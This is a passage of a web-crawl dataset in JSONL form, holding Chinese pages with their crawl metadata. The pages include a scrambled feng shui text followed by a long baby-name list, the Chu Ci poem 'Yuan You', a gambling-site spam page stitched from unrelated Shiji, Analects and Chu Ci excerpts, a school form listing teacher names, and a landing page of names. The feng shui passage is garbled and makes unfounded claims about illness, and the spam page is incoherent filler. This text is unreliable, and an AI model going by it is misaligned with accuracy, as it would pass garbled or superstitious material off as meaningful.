0.09900007396936417, \"cmn_Hani_score\": 0.06609438359737396}","num_words":391,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.268,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.848,"perplexity_score":500.0,"cluster_detection":1} +{"text":"就是正西有窗户、楼梯、道路等。便是正西方位聚集的煞气。或许就是跟正西方位有关了。会加重此方位煞气,如果农历春节之后就开始陆陆续续生病不舒服,二:正西有路 其中,面对这种格局,具体方式就是悬挂在正西方位上。比五黄煞还更有杀伤力的, 松其雨 松雅致 松景红 松赫然 松嘉歆 松静安 松阿琴 松昭懿 松佳莉 松秋萍 松昕霞 松夜云 松驭文 松从霜 松依瑶 松冬菱 松锦蓉 松艳萍 松素欣 松绿兰 松紫文 松笑雯 松听筠 松瑶倩 松灵安 松佳思 松阳兰 松慧秀 松术英 松宏艳 松怡成 松访梦 松开萍 松婉慧 松采绿 松志红 松灵寒 松雪绿 松依美 松惜寒 松燕儿 松赞文 松筠溪 松霞绮 松怡然 松水蓝 松晴岚 松雅蓉 松夏萱 松宸莹 松香梅 松秀美 松凝海 松听然 松梦菡 松韶文 松向卉 松语薇 松一南 松恬雅 松涵菱 松悦岩 松凝冬 松丽霞 松傲松 松悦晶 松越红 松琳达 松覃文 松青文 松福娟 松玲芳 松梦寒 松宛凝 松靖易 松云淡 松华乐 松如松 松璐怡 松爱玲 松元槐 松碧玉 松凝蝶 松心宏 松香彤 松代柔 松清懿 松如云 松以南 松嫔然 松丹嫣 松冬雪 松书双 松倩予 松心妍 松斯至 松颖初 松淑静 松桂萍 松伊玲 松寒香 松以旋 松以珊 松砚梅 松爱文 松心语 松连芬 松忆曼 松晗玥 松溪蓝 松菁英 松和静 松妍秀 松恨风 松今雨 松灿文 松依琴 松念露 松秀慧 松又蓝 松成文 松梦凡 松歌阑 松怀雁 松冬梅 松傲云 松珍英 松歆妍 松痴梅 松婕丽 松晴霞 松静珊 松如雪 松昱琴 松天蓝 松晓山 松彩茹 松骊艳 松思娜 松玉娟 松雪晴 松桂琴 松如芬 松怜容 松曼云 松安静 松鹃颖 松婀娜 松聿玉 松书白 松盛冉 松晨菲 松晶晶 松薇颖 松月明 松欣合 松忆安 松元蝶 松谷雪 松以彤 松雅秀 松菊月 松欣梅 松琼怡 松澄倩 松漫秀 松俊玲 松和平 松慕悦 松新颖 松双文 松胜娟 松若倩 松真玉 松飞荷 松云泽 松雅爱 松珲燕 松觅翠 松丹亦 松思涵 松雅隽 松初翠 松听荷 松幻翠 松怡言 松慕梅 松琳琳 松智莉 松梦山 松俊婷 松韶容 松水晶 松紫云 松丽茹 松又槐 松若兰 松芳芳 松从丹 松痴柏 松立英 松晓旋 松呈文 松良红 松奕霞 松雅柏 松夏蓉 松梦竹 松裴黎 松婧鸣 松根琴 松以柳 松含景 松怡藩 松媛 松飞莲 松彦芝 松宝丽 松凡灵 松莹莼 松湉湉 松玄穆 松令花 松晓彤 松明凝 松嘉云 松晴虹 松贝莉 松燕凤 松冬卉 松碧琴 松醉巧 松垠悦 松静婷 松嘉言 松小琳 松昕月 松曼语 松其芳 松娜娜 松思真 松铭洁 松沛春 松灵慧 松文萍 松秀娣 松清佳 松江蓉 松白秋 松幼晴 松子凡 松春娟 松叶帆 松翠茹 松如冰 松华燕 松诗兰 松清秋 松春文 松忻愉 松雨灵 松和煦 松星儿 松素蓉 松灵阳 松建蓉 松云琼 松思聪 松艺萍 松娅芳 松恨桃 松洁玉 松冉冉 松炎琳 松芸溪 松梦菲 松问春 松溪儿 松秀竹 松雪曼 松基娟 松春枫 松冰双 松寻绿 松寒雁 松若山 松茂娟 松钦秀 松心远 松安安 松雪冰 松晓星 松菱凡 松棋琳 松燕窝 松惟丽 松清悦 松娉婷 松丽嫣 松清妍 松霞红 松芷蓝 松傲丝 松梅娥 松小玲 松尔真 松乐芸 松彩萍 松战红 松访冬 松长梅 松梓珊 松吉玉 松秋芳 松旻骞 松天薇 松秋灵 松莉莉 松羽彤 松芬丽 松秀妮 松双妹 松水蓉 松翰玉 松彦露 松娇莹 松昊伟 松雪卉 松幻香 松易云 松小萍 松痴瑶 松寻桃 松妙柏 松好慕 松允怡 松馨逸 松雅旋 松慧美 松易容 松明熙 松乐儿 松听南 松湛恩 松璠瑜 松秀霞 松昕秀 松以冬 松司晨 松融雪 松茹茹 松秀越 松琦巧 松怡天 松依倩 松怡欣 松白夏 松慧艳 松仲文 松颖颖 松若怡 松甜恬 松滢渟 松盼芙 松平芳 松宛白 松映波 松洋然 松蓉蓉 松雨琴 松平安 松惠洁 松含芙 松舒畅 松情文 松以莲 松晴曦 松月萍 松慧丽 松碧蓉 松恩玉 松雅韶 松红红 松夏兰 松冬红 松睿文 松欣然 松迎南 松秋白 松冷萱 松姝丽 松秀曼 松饔芳 松曜儿 松如柏 松悦爱 松思悦 松尔芳 松巧红 松含烟 松洪玉 松正莉 松瑶溪 松峻骅 松诗文 松乐安 松涵桃 松谷蓝 松琳媛 松宛蓉 松浩悦 松妍勤 松子怡 松寒蕾 松清馨 松秋颖 松晏如 松紫蕙 松白梅 松念巧 松文茵 松惠玲 松尔蓝 松诗双 松梓榆 松语蓉 松逸云 松千柔 松爱丽 松纯洁 松海美 松寒梅 松雨彤 松鸿梅 松如凡 松安荷 松芷荷 松初晴 松丹南 松慧云 松彤雯 松秋珊 松真洁 松优扬 松梦香 松香菱 松晓洁 松映安 松向雁 松白安 松娜飞 松惜儿 松冰夏 松心宜 松雁蓉 松莉萍 松效怡 松致欣 松涵雪 松思嫒 松双燕 松妙菡 松念云 松孤丹 松亦冉 松奕颖 松千凡 松又菡 松听枫 松英慧 松歌吹 松英秀 松安寒 松昊嫣 松悦心 松燕佳 松海玲 松玟嫣 松育玲 松荔红 松书蝶 松绮丽 松梅红 松思文 松少美 松飞瑶 松易真 松秋文 松泽梅 松新雅 松萍拶 松善和 松迎梅 松如南 松洛晖 松文惠 松菲琳 松雅琴 松珊琳 松小燕 松清心 松慕蕊 松乐天 松善玲 松思凡 松晶灵 松圣琼 松玉玲 松新儿 松痴凝 松田田 松淳美 松青旋 松雅萍 松卿云 松彦玲 松运珊 松之桃 松紫安 松依玉 松心莹 松乐怡 松河萍 松凝雁 松怡暹 松淑哲 松茹云 松雅英 松英楠 松尔阳 松湘灵 松悦瑶 松霞飞 松醉芙 松怀绿 松盼雁 松梓颖 松虹彩 松春媛 松仪文 松惜文 松静芳 松芙蓉 松绮玉 松舒云 松乃文 松菁婷 松雪兰 松瑞芝 松大玉 松芮优 松丝琪 松红雪 松初珍 松熙文 松念双 松曼冬 松宛菡 松念烟 松怡琳 松迎蕾 松轩怡 松书慧 松静霞 松华婉 松春蕾 松瑶矜 松雪柳 松雨竹 松曼文 松含云 松涵阳 松琼岚 松碧芳 松绮梅 松凝丝 松安露 松语海 松金玉 松茹滢 松宜婷 松芯玲 松紫南 松芮雅 松缘媛 松柔雅 松海宁 松云岚 松山蝶 松语琴 松睿姿 松倩茹 松子悦 松依秋 松绘颖 松婧莹 松鹭莹 松秋荣 松山柳 松梦露 松亦竹 松丽华 松焱玲 松恩霈 松蔓菁 松蝶梦 松茗悦 松若翠 松怀梦 松暮芸 松宛茹 松正娅 松优瑗 松平莹 松芷文 松雅韵 松怡彤 松书凝 松燕艳 松怀寒 松之槐 松莞然 松碧灵 松清晖 松玲玲 松代容 松半安 松冷亦 松月桃 松嘉美 松盼丹 松淳雅 松茹怡 松怀英 松叶吉 松瑜洁 松阳霁 松碧白 松家丽 松水凡 松欣愉 松傲薇 松又香 松秋蝶 松曼衍 松姣妍 松世敏 松和怡 松冰海 松香桃 松英燕 松润茹 松迎海 松驰婷 松媛园 松骊颖 松硕琳 松中英 松芷波 松娅洳 松初蝶 松文英 松慧心 松秀婉 松绚丽 松乐燕 松清萍 松云飞 松念柏 松莠婷 松赞怡 松傲旋 松惜灵 松雪珊 松惠君 松初之 松银娟 松海蓝 松语心 松亦云 松芸芸 松半烟 松美莉 松白易 松彦红 松玺琼 松赋艳 松凝云 松华洁 松贞静 松奇文 松今瑶 松春梅 松丁辰 松婷美 松东霞 松菁菁 松涵山 松易梦 松怀柔 松夕玉 松鸿丽 松谷兰 松春英 松怀曼 松莉祯 松妹丛 松子骞 松依波 松忆枫 松晗蕾 松笑槐 松宛亦 松夏菡 松曼丽 松心愫 松斌萍 松南蓉 松冬萱 松荣英 松暄妍 松颖秀 松嘉怡 松朝霞 松秀怡 松真一 松明煦 松水芸 松翠丝 松靖儿 松琳晨 松香天 松逸馨 松霞辉 松艳娇 松红旭 松红玲 松韶华 松笑萍 松思菱 松晓红 松云霞 松孤萍 松琳科 松沈静 松巧香 松正芳 松涂玲 松思佳 松盼秋 松灵凡 松平蓝 松水冬 松舒荣 松采南 松雅洁 松平凡 松玉洁 松听莲 松雅蕊 松芳蕤 松转英 松梦媛 松连婷 松怜双 松妙意 松玉婵 松清润 松又亦 松清舒 松淑华 松芳菲 松婧宜 松绮露 松聪睿 松哓颖 松香卉 松延玉 松陈花 松芳泽 松依萱 松映寒 松毓瑶 松虹影 松湘婷 松子亦 松秋柏 松莹洁 松怜晴 松向槐 松灵萱 松怡晴 松飞雪 松娅莘 松尔冬 松若薇 松韦茹 松宜倩 松霞英 松歌云 松嘉莹 松晴雪 松忆之 松天睿 松诗怡 松竹韵 松红豆 松美娜 松问柳 松醉波 松华琴 松天琳 松语梦 松采蓝 松迎荷 松长逸 松书兰 松台英 松代双 松一嘉 松新蕾 松代珊 松琇芳 松若菱 松梦安 松冬霞 松语燕 松晨蓓 松艳英 松平心 松继文 松嘉玉 松柳蓉 松诗蕊 松瑜然 松蒙雨 松修文 松纪颖 松炎霞 松珂雪 松访烟 松婧源 松涵涵 松音韵 松又青 松梦雪 松田然 松秀华 松新文 松纯嫣 松幼仪 松艳玉 松雁萍 松格菲 松乐蕊 松嘉宝 松晶滢 松沛珊 松如曼 松含娇 松雁露 松冷梅 松芳蔼 松和悦 松妮子 松采梦 松雨梅 松沛凝 松韶媛 松冰真 松璇玑 松雪萍 松孟娜 松铉倩 松芳馨 松丝雨 松静柏 松书文 松秋彤 松采枫 松望舒 松馨蓉 松琛洁 松婵娟 松静云 松婉婷 松清莹 松冰蝶 松绮南 松蔓玉 松曼彤 松佁然 松剡芳 松春燕 松秀如 松晓兰 松婧予 松雨嫣 松靖之 松星瑶 松善芬 松语蕊 松和璧 松锦曦 松问香 松孤云 松香芹 松雪梅 松丁兰 松萧曼 松惠琴 松婧轩 松妙芙 松静曼 松小妹 松悦欣 松山芙 松忆文 松梅梅 松秀敏 松孟阳 松梦槐 松冷珍 松飞燕 松燕霏 松昕雨 松新雨 松媛萍 松山雁 松逸美 松绪文 松小凝 松楚楚 松嘉颖 松红燕 松芝霞 松家美 松琳可 松醉柳 松宜然 松碧玲 松桐婷 松从筠 松义娟 松雅歌 松晓萍 松语晨 松古香 松哓梅 松南蕾 松莞怡 松静慧 松岚翠 松航莉 松咏梅 松绮晴 松浩文 松涵梅 松河灵 松熙华 松余妍 松布侬 松奇思 松傲安 松春妤 松平露 松寄翠 松丽芳 松芸姝 松凝丹 松旎旎 松笑旋 松琼英 松新瑶 松清嘉 松智敏 松微月 松傲冬 松琳璇 松雅瑶 松彩静 松寻雪 松曼雁 松慧雅 松璇子 松南烟 松巧夏 松宁乐 松觅风 松清绮 松柔蔓 松娅莛 松润丽 松莉秀 松雪瑶 松明芬 松余馥 松采春 松莹然 松依云 松玛莉 松春琳 松林琳 松奇颖 松美丽 松尔容 松注妍 松初彤 松凌青 松雁菱 松谷芹 松痴海 松从蓉 松幼怡 松寄蓝 松书南 松珺娅 松翠巧 松爰爰 松林颖 松松雪 松琰琬 松馨茹 松倚云 松淑萍 松妮娜 松丽思 松嘉婧 松新雪 松久英 松灵秋 松代天 松子童 松方雅 松振玉 松俐霞 松丹彤 松惜雪 松平文 松夏波 松蔼茹 松盼柳 松缇娜 松流如 松秋柔 松红英 松水风 松夜春 松小蕊 松慧颖 松伶梅 松雪帆 松幻梅 松春雪 松骊娟 松伟文 松怡泽 松凡雁 松寒松 松清韵 松正玲 松玉红 松白萱 松雯霞 松依然 松凝洁 松凌兰 松雁芙 松思恩 松晓慧 松春柔 松邵美 松昕萍 松易洁 松诗柳 松凌香 松又柔 松文敏 松雪莲 松梓舒 松紫悦 松晴波 松湘颖 松雅柔 松凝然 松宜芳 松新林 松觅夏 松欢丽 松恨蕊 松问寒 松小芳 松念蕾 松新苗 松妙婧 松歌韵松臣英 松灿霞 松半兰 松尔竹 松听芹 松宵晨 松新烟 松宛妙 松新之 松银红 松曼安 松凝莲 松春雨 松文芳 松璇珠 松欢倩 松晓芬 松迎夏 松意宸 松瑞彩 松齐敏 松秋玉 松以筠 松芷若 松骊文 松千柳 松清昶 松米雪 松宇梅 松夏山 松秀芬 松莉歆 松向雪 松秀玲 松幻桃 松望雅 松晓霞 松玉轩 松华红 松以晴 松暖梦 松慧冉 松丹芬 松香岚 松领娥 松凤娜 松韵诗 松子颖 松韶仪 松白筠 松莎莉 松绿蓉 松计芳 松慧月 松灵松 松骊泓 松嘉红 松悠馨 松访天 松幼白 松天曼 松紫夏 松凌波 松茜玉 松乐蓉 松菀柳 松玉瑶 松语山 松元冬 松庆英 松韵梅 松琇莹 松莉丽 松依冉 松小晨 松春娜 松萍雅 松献玉 松玲云 松菊红 松美曼 松梓楠 松子欣 松晓枫可以借助六个铜钱来化解。","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.luenes.com\/nvhaiqiming\/822.html","date":"2019-12-06T03:40:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540484477.5\/warc\/CC-MAIN-20191206023204-20191206051204-00367.warc.gz","language":"lzh","language_score":0.8411534429,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8411534428596497, \"jpn_Jpan_score\": 0.11112117022275925, \"cmn_Hani_score\": 0.044201064854860306}","num_words":1181,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.844,"perplexity_score":500.0,"cluster_detection":1} +{"text":"悲时俗之迫阨兮,愿轻举而远游。质菲薄而无因兮,焉讬乘而上浮?遭沈浊而污秽兮,独郁结其谁语!夜耿耿而不寐兮,魂营营而至曙。惟天地之无穷兮,哀人生之长勤。往者余弗及兮,来者吾不闻。步徙倚而遥思兮,怊惝怳而乖怀。意荒忽而流荡兮,心愁悽而增悲。神倏忽而不反兮,形枯槁而独留。内惟省以操端兮,求正气之所由。漠虚静以恬愉兮,澹无为而自得。\n闻赤松之清尘兮,愿承风乎遗则。贵真人之休德兮,美往世之登仙;与化去而不见兮,名声著而日延。奇傅说之讬辰星兮,羡韩众之得一。形穆穆以浸远兮,离人群而遁逸。因气变而遂曾举兮,忽神奔而鬼怪。时仿佛以遥见兮,精晈晈以往来。超氛埃而淑邮兮,终不反其故都。免众患而不惧兮,世莫知其所如。\n恐天时之代序兮,耀灵晔而西征。微霜降而下沦兮,悼芳草之先蘦。聊仿佯而逍遥兮,永历年而无成。谁可与玩斯遗芳兮?长向风而舒情。高阳邈以远兮,余将焉所程?\n重曰:春秋忽其不淹兮,奚久留此故居。轩辕不可攀援兮,吾将从王乔而娱戏。餐六气而饮沆瀣兮,漱正阳而含朝霞。保神明之清澄兮,精气入而麤秽除。顺凯风以从游兮,至南巢而壹息。见王子而宿之兮,审壹气之和德。\n曰\"道可受兮,不可传;其小无内兮,其大无垠。毋滑而魂兮,彼将自然;壹气孔神兮,于中夜存。虚以待之存,无为之先;庶类以成兮,此德之门。\"\n闻至贵而遂徂兮,忽乎吾将行。仍羽人于丹丘,留不死之旧乡。朝濯发于汤谷兮,夕晞余身兮九阳。吸飞泉之微液兮,怀琬琰之华英。玉色頩以脕颜兮,精醇粹而始壮。质销铄以汋约兮,神要眇以淫放。嘉南州之炎德兮,丽桂树之冬荣;山萧条而无兽兮,野寂漠其无人。载营魄而登霞兮,掩浮云而上征。命天阍其开关兮,排阊阖而望予。召丰隆使先导兮,问太微之所居。集重阳入帝宫兮,造旬始而观清都。\n朝发轫于太仪兮,夕始临乎于微闾。屯余车之万乘兮,纷容与而并驰。驾八龙之婉婉兮,载云旗之逶蛇。建雄虹之采旄兮,五色杂而炫耀。服偃蹇以低昂兮,骖连蜷以骄骜。骑胶葛以杂乱兮,斑漫衍而方行。撰余辔而正策兮,吾将过乎句芒。历太皓以右转兮,前飞廉以启路。阳杲杲其未光兮,凌天地以径度。风伯为余先驱兮,氛埃辟而清凉。凤凰翼其承旂兮,遇蓐收乎西皇。揽慧星以为旍兮,举斗柄以为麾。叛陆离其上下兮,游惊雾之流波。时暧曃其曭莽兮,召玄武而奔属。后文昌使掌行兮,选署众神以并轂。路漫漫其修远兮,徐弭节而高厉。\n左雨师使径侍兮,右雷公以为卫。欲度世以忘归兮,意姿睢以抯挢。内欣欣而自美兮,聊媮娱以淫乐。涉青云以汎滥游兮,忽临睨夫旧乡。仆夫怀余心悲兮,边马顾而不行。思旧故以想象兮,长太息而掩涕。汜容与而遐举兮,聊抑志而自弭。指炎神而直驰兮,吾将往乎南疑。\n览方外之荒忽兮,沛罔瀁而自浮。祝融戒而跸御兮,腾告鸾鸟迎宓妃。张咸池奏承云兮,二女御九韶歌。使湘灵鼓瑟兮,令海若舞冯夷。玄螭虫象并出进兮,形蟉虯而逶蛇。雌蜺便娟以增挠兮,鸾鸟轩翥而翔飞。音乐博衍无终极兮,焉乃逝以徘徊。舒并节以驰骛兮,逴绝垠乎寒门。轶迅风于清源兮,从颛顼乎增冰。历玄冥以邪径兮,乘间维以反顾。召黔赢而见之兮,为余先乎平路。经营四方兮,周流六漠。上至列缺兮,降望大壑。下峥嵘而无地兮,上寥廓而无天。视倏忽而无见兮,听惝恍而无闻。超无为以至清兮,与泰初而为邻。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/poetry.wenhuagogo.com\/10","date":"2020-02-17T03:48:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875141653.66\/warc\/CC-MAIN-20200217030027-20200217060027-00319.warc.gz","language":"lzh","language_score":0.4560787678,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.45607876777648926, \"zxx_Latn_score\": 0.07046131789684296, \"nan_Hani_score\": 0.05914667248725891, \"cmn_Hani_score\": 0.04386729747056961, \"und_Tang_score\": 0.02796924114227295, \"und_Sgnw_score\": 0.02576856128871441, \"und_Grek_score\": 0.020210839807987213, \"und_Xsux_score\": 0.019408466294407845, \"und_Cyrl_score\": 0.017723681405186653, \"und_Yiii_score\": 0.015407870523631573, \"und_Cans_score\": 0.01521315798163414, \"und_Hluw_score\": 0.01482354011386633, \"und_Glag_score\": 0.011225677095353603, \"yue_Hani_score\": 0.010460861958563328, \"und_Nshu_score\": 0.010219082236289978}","num_words":9,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.313,"perplexity_score":500.0,"cluster_detection":1} +{"text":"亚洲城ca88上海点对点省际包车业务应开尽开为复工企业提供运力\n四十二年,釐侯卒,太子共伯馀立为君。共伯弟和有宠於釐侯,多予之赂;和以其赂赂士,以袭攻共伯於墓上,共伯入釐侯羡自杀。卫人因葬之釐侯旁,谥曰共伯,而立和为卫侯,是为武公。\n子曰:\"吾未见刚者。\"或对曰:\"申枨。\"子曰:\"枨也欲,焉得刚。\"\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,\n春申君既相楚,是时齐有孟尝君,赵有平原君,魏有信陵君,方争下士,招致宾客,以相倾夺,辅国持权。\n十三年春,与卫灵公会邵陵。蔡侯私於周苌弘以求长於卫;卫使史","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/hgpmw.gbdgfj.com\/DDIZB72301.html","date":"2020-02-26T02:54:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146186.62\/warc\/CC-MAIN-20200226023658-20200226053658-00363.warc.gz","language":"lzh","language_score":0.4257491529,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.42574915289878845, \"cmn_Hani_score\": 0.32704904675483704, \"nan_Hani_score\": 0.08724290877580643, \"wuu_Hani_score\": 0.04716719686985016, \"zxx_Latn_score\": 0.027984796091914177}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.417,"perplexity_score":500.0,"cluster_detection":1} +{"text":"萬 年 小 曆 西元 2002 年 12份 S M T W T F S 在這裡,你可以列印教師授課表。 學年度學期\/ 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 第一學期 第二學期 暑修一 暑修二 寒假 教師授課學部篩選\/ --- 日間部 在職專班 夜間部 特殊專班 教師篩選\/ 凃嘉恩 温詩宜 丁肇鳳 文懋新 毛遠薪 王中瑞 王正如 王永賢 王玉華 王光華 王守誠 王均安 王昱之 王美業 王珮俐 王偉弘 王國忠 王國馨 王淑真 王涵潁 王勝平 王尊賢 王惠美 王嘉菁 王麗華 王寶琇 甘博介 白依璇 白榮逸 任修平 朱凡欣 朱健炫 朱莉群 朱雯 朱嘉惠 朱憶慈 朱麒華 江怡慧 江悅慈 江素芬 江雪萍 江慧玲 池雅慧 何正峰 何宜倩 何昆達 何金城 何昭中 何美華 何萬良 余淑娟 余雅虹 吳佳幸 吳坤展 吳怡萍 吳昌翰 吳明峰 吳俐雯 吳玲玲 吳皇珠 吳美玲 吳美惠 吳展岳 吳珮甄 吳晨淨 吳紹瑜 吳德培 吳曉玲 吳駿誼 呂一中 呂秀真 呂昭芬 呂美煥 呂素卿 呂國勳 宋威徹 宋嘉宏 巫慧芳 李文秀 李文萍 李克寰 李佳靜 李佩華 李怡賢 李昆懿 李欣芳 李芸玫 李芷葶 李威 李恆 李秋香 李哲榮 李書芬 李素玉 李素真 李彩歆 李梅冠 李淑慧 李智堯 李湘琳 李筱薇 李嘉玲 李嘉慧 李維鈞 李翠蓉 李靜雯 李禮君 李瓊淑 李麗燕 杜文蘭 杜妍儀 沈文偉 沈宜慧 沈珊如 汪曉琪 周士傑 周子芸 周竹宜 周玫 周雨樺 周雨霖 周政仁 周莉莉 周新彬 尚忠菁 幸瑾華 林一鳳 林永森 林宏明 林宏洋 林志弘 林沂怜 林秀玉 林秀節 林依宣 林佳田 林孟葳 林宜君 林忠義 林欣怡 林玟均 林玫君 林芳曲 林俐岑 林冠伶 林彥伯 林彥志 林柳村 林秋英 林郁芳 林郁晴 林姝宛 林珈朵 林家玉 林書田 林書漢 林素珠 林國凱 林淑美 林琪凰 林詠寧 林楷勍 林資荃 林筱瑋 林禎祥 林鳳卿 林廣建 林慧慈 林錦定 邸彥 邱弘裕 邱白恩 邱淑如 邱詠朗 金坤明 侯秀春 侯征宏 姜元媛 待聘教師 施人愷 施秀蓉 柳淑美 洪士桓 洪文綺 洪吉祥 洪尚叡 洪皖中 洪雅婷 洪聖均 洪慧娟 胡幼蓁 胡慧芬 倪雅華 倪敬桓 奚正德 孫嘉璟 孫德萍 徐君臨 徐振彥 徐智群 翁晨浩 郝崇文 高秀君 高家珍 高淑允 高愷悌 高溱璟 高榮孝 高靜儀 張勻翔 張文智 張正岳 張谷光 張芳瑜 張春美 張映 張家豪 張峰睿 張庭瑄 張悅詩 張晟瑜 張淑琴 張博雅 張慎儀 張曉雯 張麗滿 曹宇茜 梁貴閔 梁雅虹 梅聖忠 莊文生 莊美月 莊欽雅 莊禮聰 許玉嫺 許玉美 許玉娟 許立偉 許怡平 許芳瑞 許俊文 許晊豪 許博文 許綸中 許藍方 許寶鶯 郭月霞 郭克婷 郭英玲 郭家瑋 郭庭君 郭梅珍 郭維邦 郭燕菁 郭懷婷 陳珏如 陳允 陳日生 陳世民 陳必卿 陳立賢 陳佳雯 陳佩彥 陳宜菁 陳宜鴻 陳怡佳 陳怡潔 陳怡叡 陳明男 陳明芯 陳玫玲 陳金真 陳亮吟 陳俊中 陳俊宇 陳冠華 陳宣佑 陳建榮 陳彥如 陳洛嘉 陳美玲 陳美玲 陳香蘭 陳珮茹 陳偉琪 陳彩玉 陳清安 陳淑貞 陳淑娟 陳紹聖 陳惠明 陳惠齡 陳智怡 陳琪菘 陳貽雯 陳貴梅 陳雅妍 陳嘉雯 陳碧鳳 陳蓓蒂 陳憲佑 陳曉容 陳穎涵 陳靜怡 陳靜玲 陳懋昌 陳麗秋 陳麗華 陳寶玉 傅乙庭 傅麗珍 彭成莉 彭瑞琪 彭熙寧 曾奕翔 曾郁哲 曾惓慈 游沛玲 游雅婷 湯素琴 湯雅琳 湯雅雯 程美玲 程珮涵 程詩茹 馮典章 馮雯琳 黃一玲 黃于庭 黃世欣 黃玉緞 黃亦寧 黃志華 黃育正 黃明媛 黃秉炘 黃金堂 黃威智 黃建華 黃思維 黃津文 黃美莉 黃家儀 黃書桂 黃茵茵 黃婉婷 黃敏欽 黃惠珠 黃揚文 黃琦珍 黃雅茹 黃雅萱 黃新元 黃楷雯 黃詩芸 黃靖雯 黃嘉惠 黃慶福 黃靜英 黃瓊真 黃麗芬 黃馨慧 黃鶯滿 楊于嬋 楊子昇 楊卉純 楊宇寧 楊至中 楊淑溫 楊惠晶 楊程媛 楊萬象 楊適菁 楊鎧玉 楊韻玫 溫采薇 溫雅惠 萬若藻 葉秀珍 葉書吟 葉國良 葉孺萱 董立夫 董靜茹 詹嫦慧 鄒繼群 鄔恒斐 鄔正豪 廖月玲 廖英茵 廖海萍 廖雪芬 廖熒虹 蒲孝慈 趙佑宸 趙美珠 趙德群 劉文琪 劉文榮 劉立漢 劉完淳 劉信輝 劉苑蓉 劉貞志 劉書玉 劉淑秋 劉淑娟 劉絲涵 劉嫈茹 劉滿婷 劉曉雲 劉樹玲 劉燕樺 劉薏蓉 劉瀚文 劉麗華 樂冠妤 潘靜怡 蔣婷華 蔣智宏 蔡如怡 蔡沁筠 蔡秀娟 蔡秀雲 蔡佳玲 蔡佩芬 蔡佩璇 蔡孟蓉 蔡明君 蔡東志 蔡菁菁 蔡逸舟 蔡閔仰 蔡靜琪 蔡曜宇 蔡鎮宇 鄭仕一 鄭茜如 鄭慧菁 黎達明 盧銀華 蕭利倩 蕭君婷 蕭淑嫺 蕭凱仁 蕭維真 蕭慧瑛 賴君瑋 賴妙娟 賴明宏 賴思潔 賴美玟 賴韋婷 賴家瑞 賴淑雯 賴琦琇 賴皓屏 賴慧甄 駱芳宜 戴宇光 戴慧琳 戴麗藹 薛來銘 薛茹茵 薛慧平 謝君欣 謝明志 謝家如 謝榮忠 謝錦桐 謝麗君 鍾大定 鍾承麟 鍾國斌 簡秀凌 簡婉如 簡惠慧 簡瑋萱 簡綺彣 簡銘彣 藍采虹 藍美玉 顏映萱 羅仁傑 羅心汝 羅文華 蘇信川 蘇益慶 蘇曉琪 鐘子雯 鐘雪文 饒文貞 饒培瑩 單一教師直式 063101 單一教師橫式 063102 注意事項\/ 老師授課時數不包含已經進行停課作業的課程. 篩選列印[各教師]的報表,僅供除錯使用,所有課程均須指派老師,否則老師無法上線進行打成績與點名等相關作業操作。","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/sais.ctcn.edu.tw\/IISystem\/HR\/hourlypay\/school\/Employee\/Report2\/index3.jsp","date":"2020-10-24T03:36:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107881640.29\/warc\/CC-MAIN-20201024022853-20201024052853-00613.warc.gz","language":"lzh","language_score":0.5952554345,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.595255434513092, \"cmn_Hani_score\": 0.243850439786911, \"nan_Hani_score\": 0.1495470553636551}","num_words":525,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.295,"stopwords_ratio":0.004,"flagged_words_ratio":0.0,"lang_id_score":0.595,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Elementor Landing Page #28681 陳卓斯 池淑霖 關震海 劉曉靖 麥顥徽 房曉彤 方文甫 梁文賢 陳零 Hesther Ng 陳小山 陳萃屏 廖潔雯 李雨夢 湯珮然 王鈴欣 黎彩燕 莫坤菱 廖俊升 劉愛霞 周敏兒 黃雅文 陳娉婷 湯璧瑜 何逸蓓 吳泳霖 王紀堯 黃柏熹 伍詠欣 劉彥汶 遊大東 鍾梓儀 發佈回覆 